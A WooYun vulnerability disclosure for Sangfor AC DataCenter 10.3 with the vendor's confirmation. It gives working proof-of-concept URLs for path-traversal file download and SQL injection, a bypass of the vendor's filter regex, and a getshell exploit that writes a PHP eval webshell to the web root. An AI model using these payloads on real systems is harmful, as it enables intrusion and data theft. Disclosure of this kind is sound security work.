当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105026

漏洞标题:深信服AC DC 10.3漏洞集合第一弹

相关厂商:深信服

漏洞作者: f4ckbaidu

提交时间:2015-03-31 17:06

修复时间:2015-06-30 18:44

公开时间:2015-06-30 18:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-31: 细节已通知厂商并且等待厂商处理中
2015-04-01: 厂商已经确认,细节仅向厂商公开
2015-04-04: 细节向第三方安全合作伙伴开放
2015-05-26: 细节向核心白帽子及相关领域专家公开
2015-06-05: 细节向普通白帽子公开
2015-06-15: 细节向实习白帽子公开
2015-06-30: 细节向公众公开

简要描述:

本机测试,没有入侵任何客户,在这里下载的安装包:http://www.sangfor.com.cn/download/product/ac_data_center/DataCenter10.3_Setup.zip
这次发的包含2个SQL注射和1个任意文件下载

详细说明:

在说明漏洞前先说明下自带的防攻击措施
1、magic_quotes_gpc=ON
2、代码用zend加密过,可以用黑刀解密
3、系统自带攻击拦截,针对GPC,代码如下:

$requestfilter = "\\b(and|or)\\b.+?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bUNION\\b.+?\\bSelect\\b|\\bUpdate\\b.+?\\bSET\\b|\\bInsert\\b\\s+\\bINTO\\b.+?\\bVALUES\\b|\\b(Select|Delete)\\b.+?\\bFROM\\b|\\b(Create|Alter|Drop|TRUNCATE)\\b\\s+\\b(TABLE|DATABASE)\\b";


下面是漏洞描述部分:
一、任意文件下载1(需要登录)
问题文件:/src/download.php

<?php
require_once( "include.php" );
require_once( CONFIG_INC_PHP_PATH."config.inc.php" );
if ( isset( $_REQUEST['filename'] ) )
{
$filename = "../file/".$_REQUEST['filename'];
}
if ( strlen( $filename ) == 0 )
{
echo "请设置文件名称.";
echo "filename : ".$filename;
exit( );
}
$Name = substr( $filename, strrpos( $filename, "/" ) + 1, strlen( $filename ) );
$ext = substr( $Name, strrpos( $Name, "." ), 4 );
header( "Content-Type: application/x-".$ext );
header( "Content-Length: ".filesize( $filename ) );
header( "Content-Disposition: attachment; filename=".$Name );
readfile( $filename );
?>


这个洞没什么好说的,POC:
http://192.168.222.101/src/download.php?filename=../inc/dbinfo.conf

1.jpg


二、SQL注射1(需要登录,鸡肋)
问题文件:/src/downloadreport.php

$fields['account'] = $_REQUEST['account_id'];
$fields['name'] = $_REQUEST['name'];
$fields['time'] = $_REQUEST['time'];
$info = $customreport->HistoryReportInfo( $fields );


function HistoryReportInfo位于/src/inc/class/data/customreport.php:
可以看到变量account_id直接进入了sql语句

2.png


最上面提到的正则拦截了union select,可以用8.0union select bypass之,最后POC:

http://192.168.222.101/src/downloadreport.php?account_id=8.0union select 1,2,3,4,5,6,7


可惜系统开了magic_quotes_gpc,没办法利用select into outfile getshell
三、SQL注射2(需要登录,可getshell)
问题文件:/src/getmailfile.php

$obj = new CActionSearch( );
$obj->Init( );
$date = "".trim( getrequest( "date" ) );
$str = "".trim( getrequest( "auto_id" ) );
$autoId = urldecode( sdecrypt( $str, 2008 ) );
$trecord = $obj->_log->GetRecordByDateId( $date, $autoId );


public function GetRecordByDateId( $_obfuscate_O6ZGVA, $_obfuscate_0W8 )
{
$_obfuscate_3y0Y = "select ".$this->query_cols." from A{$_obfuscate_O6ZGVA} A where auto_id = {$_obfuscate_0W8}";
$_obfuscate_SF4 = $this->fetchAllRows( $_obfuscate_3y0Y );


看下罪魁祸首的问题函数getrequest:

function getRequest( $_obfuscate_R2_b )
{
if ( get_magic_quotes_gpc( ) )
{
return stripslashes( $_REQUEST[$_obfuscate_R2_b] );
}
return $_REQUEST[$_obfuscate_R2_b];
}


开了magic_quotes_gpc也白搭,直接通过stripslashes去掉了“\”
这个地方要想利用还存在一个条件,就是必须存在A表(AC同步过来的行为审计表),既然装了外置DC,还可能会没有AC同步日志过来吗??这不是个问题
我这边没设备用来同步日志只能创建Atest表测试了:

create table Atest(
auto_id bigint unsigned not null default 0,
record_id bigint unsigned not null,
account_id bigint unsigned not null,
dev_id bigint unsigned not null default 0,
user_crc varchar(128) not null,
group_crc varchar(128) not null,
ip_type varchar(128) not null,
host_ip varchar(128) not null,
dst_ip varchar(128) not null,
private_type varchar(128) not null,
serv_crc varchar(128) not null,
app_crc varchar(128) not null,
record_time varchar(128) not null,
net_action varchar(128) not null,
index3 varchar(128) not null,
index4 varchar(128) not null,
primary key (auto_id)
)ENGINE=MYISAM


需要bypass最开始说的正则,bypass方法和上面一样,用8.0union select代替\bunion select
最终getshell EXP:

http://192.168.222.101/src/contentdetail.php?date=test A where 8.0union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0x3C3F70687020406576616C28245F504F53545B3132335D293B3F3E into outfile 'D:\\Program Files\\Sangfor\\DataCenter\\dcweb\\shell.php'-- &auto_id=1


3.png

漏洞证明:

1.jpg


2.png


3.png

修复方案:

自己看着办

版权声明:转载请注明来源 f4ckbaidu@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2015-04-01 18:43

厂商回复:

感谢白帽子提出的问题!
经过内部确认,该漏洞仅存在于AC 10G版本的外置数据中心。攻击者若想利用漏洞,必须拿到管理员口令登录设备,无法绕过登录进入设备。另外,外置数据中心大多数部署在用户的内网,外网无法访问该数据中心。外置数据中心放置的是设备的日志,利用任意文件下载漏洞下载到的文件均为AC设备的运行情况,客户的核心业务数据并不会受到该漏洞的影响。
考虑了以上的因素,我们将漏洞降为低级。我们的补丁包正在制作当中,测试成功后会第一时间发布。

最新状态:

暂无